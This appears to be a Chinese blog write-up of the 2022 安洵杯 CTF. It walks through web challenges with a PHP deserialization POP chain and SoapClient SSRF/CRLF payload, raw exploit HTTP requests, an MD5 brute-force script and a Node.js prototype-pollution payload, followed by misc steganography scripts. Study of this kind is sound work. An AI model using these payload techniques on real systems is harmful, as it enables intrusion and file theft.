• 2022-安洵杯


    WEB

    babyphp

    call_user_func() 函数如果传入的参数是array类型的话,会将数组的成员当作类名和方法,

    array(0) { } <?php
    //something in flag.php
    
    class A
    {
        public $a;
        public $b;
    
        public function __wakeup()
        {
            $this->a = "babyhacker";
        }
    
        public function __invoke()
        {
            if (isset($this->a) && $this->a == md5($this->a)) {
                $this->b->uwant();
            }
        }
    }
    
    class B
    {
        public $a;
        public $b;
        public $k;
    
        function __destruct()
        {
            $this->b = $this->k;
            die($this->a);
        }
    }
    
    class C
    {
        public $a;
        public $c;
    
        public function __toString()
        {
            $cc = $this->c;
            return $cc();
        }
        public function uwant()
        {
            if ($this->a == "phpinfo") {
                phpinfo();
            } else {
                call_user_func(array(reset($_SESSION), $this->a));
            }
        }
    }
    
    
    if (isset($_GET['d0g3'])) {
        ini_set($_GET['baby'], $_GET['d0g3']);
        session_start();
        $_SESSION['sess'] = $_POST['sess'];
    }
    else{
        session_start();
        if (isset($_POST["pop"])) {
            unserialize($_POST["pop"]);
        }
    }
    var_dump($_SESSION);
    highlight_file(__FILE__);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68

    flag.php

    
    session_start();
    highlight_file(__FILE__);
    //flag在根目录下
    if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
        $f1ag=implode(array(new $_GET['a']($_GET['b'])));
        $_SESSION["F1AG"]= $f1ag;
    }else{
       echo "only localhost!!";
    }
    only localhost!!
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    pop链
    B:_destruct()通过die函数,触发C:_toString(),return $cc(); 这里触发A:_invoke函数,最后C:uwant()
    B::__destruct()->C::__toString()->A::__invoke()->C::uwant()

    构造exp

    
    
    class A
    {
        public $a = '0e215962017';
        public $b;
    
        public function _invoke()
        {
            if (isset($this->a) && $this->a == md5($this->a)) {
               $this->b->uwant();
            }
        }
    }
    
    class B
    {
        public $a;
        public $b;
        public $k;
    
        function __destruct()
        {
            $this->b = $this->k;
            die($this->a);
        }
    }
    class C
    {
        public $a;
        public $c;
    
        public function __toString()
        {
            $cc = $this->c;
            return$cc();
        }
    
        public function uwant()
        {
            if ($this->a == "phpinfo") {
                phpinfo();
            }else{
                call_user_func(array(reset($_SESSION), $this->a));
            }
        }
    }
    
    session_start();
    $_SESSION['sess'] = 'SoapClient';
    
    $first = new B();
    $first->a = new C();
    $first->a->c = new A();
    $first->a->c->b = new C();
    $first->a->c->b->a = '123';
    print((serialize($first)));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57

    得到

    O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:3:"123";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}
    
    • 1

    序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

    O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"11111";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}
    
    • 1

    php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容。session反序列,利用SoapClient触发反序列化导致SSRF。

    session反序列化->soap(ssrf+crlf)->call_user_func激活soap类。
    构造原生类链

    
    $a = new SoapClient(null,
        array(
            'user_agent' => "aaa\r\nCookie:PHPSESSID=flag123",  
            'uri' => 'bbb',
            // 'location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/*f*' //首先用GlobIterator找flag的名字
            'location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=file:///f1111llllllaagg'
             
        )
    );
    $b = serialize($a);
    echo urlencode($b);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    运行得到

    O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A66%3A%22http%3A%2F%2F127.0.0.1flag.php%3Fa%3DSplFileObject%26b%3Dfile%3A%2F%2F%2Ff1111llllllaagg%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A29%3A%22aaa%0D%0ACookie%3APHPSESSID%3Dflag123%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
    
    • 1

    首先,第一次上传构造好的反序列化的session,设置ini_set中session的存储方式为php_serialize,这个时候构造的链子会通过序列化的链子存储,

    POST /?baby=session.serialize_handler&d0g3=php_serialize HTTP/1.1
    Host: 47.108.29.107:10356
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: PHPSESSID=flag123
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 401
    
    sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A67%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3Dfile%3A%2F%2F%2Ff1111llllllaagg%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A48%3A%22aaa%0D%0ACookie%3APHPSESSID%3Du6ljl69tjrbutbq4i0oeb0m332%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    第二次,需要将sess设置为SoapClient这个类,方便第三次利用反序列化pop链中call_user_func激活soap类

    POST /?baby&d0g3 HTTP/1.1
    Host: 47.108.29.107:10356
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: PHPSESSID=flag123
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 15
    
    sess=SoapClient
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    第三次,直接用call
    _user_func激活soap类,通过flag.php将flag写入session

    POST / HTTP/1.1
    Host: 47.108.29.107:10356
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: PHPSESSID=flag123
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 163
    
    pop=O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"11111";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    最后

    GET / HTTP/1.1
    Host: 47.108.29.107:10356
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: PHPSESSID=flag123
    Connection: close
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    得到flag

    ez_js

    查看源代码

    <!--This secret is 7 characters long for security!
    hash=md5(secret+"flag");//1946714cfa9deb70cc40bab32872f98a
    admin cookie is   md5(secret+urldecode("flag%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%00%00%00%00%00%00%00dog"));
    -->
    
    • 1
    • 2
    • 3
    • 4

    secret是七位,secret+flag的md5值是1946714cfa9deb70cc40bab32872f98a
    然后咱们求admin的cookie
    AndyNoel师傅的脚本

    from hashlib import sha256,md5
    x = '1946714cfa9deb70cc40bab32872f98a'
    n = b'flag'
    s = list('abcdefghijklmnopqrstuvwxyz'.strip())
    import itertools
    for i in itertools.product(s,repeat = 7):
        d = ''.join(i).encode()
        g = d+n
        m=md5(g).hexdigest()
    
        if m == x:
            print(d)
            break
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    在这里插入图片描述
    得到secret :abcdefg
    呢么cookie就是ed63246fb602056fee4a7ec886d0a3c2
    登录之后 查看源代码发现 jsfuck加密
    得到
    在这里插入图片描述

    var express = require('express');
    var router = express.Router();
    
    const isObject = obj => obj && obj.constructor && obj.constructor === Object;
    const merge = (a, b) => {
      for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
          merge(a[attr], b[attr]);
        } else {
          a[attr] = b[attr];
        }
      }
      return a
    }
    const clone = (a) => {
      return merge({}, a);
    }
    
    router.get('/', function(req, res, next) { 
      if(req.flag=="flag"){
        //输出flag;
        res.send('flag?????????????');
        }
        res.render('info');
    });
    
    router.post('/', express.json(),function(req, res) {
      var str = req.body.id;
      var obj = JSON.parse(str);
      req.cookies.id=clone(obj);
      res.render('info');
    });
    
    module.exports = router;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34

    merge原型链污染
    id={“aaa”:1,“proto”:{“flag”:“flag”}} 去打
    在这里插入图片描述

    ezupload

    查看phpinfo 能够上传php文件,可以执行phpinfo
    在这里插入图片描述
    看到禁用了很多函数,就是想方设法绕过 进行命令执行
    我看到AndyNoel师傅可以用16进制,8进制,Unicode编码都可以
    选择一个十六进制

    "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"
    file_get_contents
    
    • 1
    • 2

    通过内置类DirectoryIterator(该类会创建一个指定目录的迭代器,当执行echo方法时,会触发DirectoryIterator类里的toString()方法,输出指定目录里面经过排序之后的第一个文件名)

    将这个转为十六进制

    最后

    转为十六进制

    MISC

    little_thief

    前面思路很清晰,简单概述一下 得到一个流量包,分析TCP数据流,发现了一串base64的编码,也有点向jwt,base64解码 看到一个密钥
    得到 s1r_Th1s_k3y
    然后这个是可以打开通过流量包提取出的一个html文件
    这个html纯属废话文学,然后 当时尝试了很多加密解密,什么snow ,废话文学加密解密 乱七八糟
    答案是wbStego4加密解密 (隐写)
    出的脑洞题,这不纯挨骂吗 。。。
    在这里插入图片描述
    在这里插入图片描述
    得到flag

    RedCoast

    题目附件是一堆0和1
    转化为字节流看一看

    from Crypto.Util.number import *
    with open('Signal', 'r') as f:
        con = f.read()
    print(long_to_bytes(int(con,2)))
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述
    发现有zip特征
    以二进制识别为十进制,再转换为bytes,保存为zip文件

    from Crypto.Util.number import *
    with open('Signal', 'r') as f:
        con = f.read()
    with open('signal.zip', 'wb') as f2:
        f2.write(long_to_bytes(int(con,2)))
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述
    得到一堆黑白图片
    将625图片换成25x25的图片,得到二维码:

    from PIL import Image
    import os
    
    IMAGES_PATH = 'signal//'
    IMAGES_FORMAT = ['.png','.PNG']
    IMAGE_WIDTH = 100
    IMAGE_HEIGHT = 100
    IMAGE_ROW = 25
    IMAGE_COLUMN = 25
    IMAGE_SAVE_PATH = 'final.jpg'
    
    newimg = Image.new('RGB',(IMAGE_COLUMN * IMAGE_HEIGHT, IMAGE_ROW * IMAGE_WIDTH))
    for y in range(25):
        for x in range(25):
            timg = Image.open(IMAGES_PATH + str(y*IMAGE_COLUMN + x) + '.png')
            newimg.paste(timg, (x*IMAGE_WIDTH, y*IMAGE_HEIGHT))
    newimg.save('new.png')
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    扫描得到 key: 187J3X1&DX3906@!

    解压压缩包 得到十六进制的文本
    十六进制转换字符串再转图片
    在这里插入图片描述

    def BaseToPng():
    with open('png.txt', 'rb') as f:
    base64png = f.read().decode()
    base64data = binascii.unhexlify(base64png)
    imgdata = base64.b64decode(base64data)
    with open('flag.png', 'wb') as ff:
    ff.write(imgdata)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    将图片放到Stegosolve 勾选全通道
    在这里插入图片描述

  • 相关阅读:
    [ACNOI2022]王校长的构造
    Kettle分布式集群安装部署详细步骤和使用分布式Kettle集群示例
    Python、机器学习和量化开发环境
    Gateway网关动态路由配置(YAML格式 + JSON格式)
    LeetCode第 86 场双周赛
    APISpace接口推荐
    Python实现深度森林(Deep Forest)分类模型(deepforest分类算法)项目实战
    S波与P波的定义(光波电矢量)(菲涅耳公式)
    SqlUtils 使用
    C#/VB.NET 将XML转为PDF
  • 原文地址:https://blog.csdn.net/qq_53142368/article/details/128082201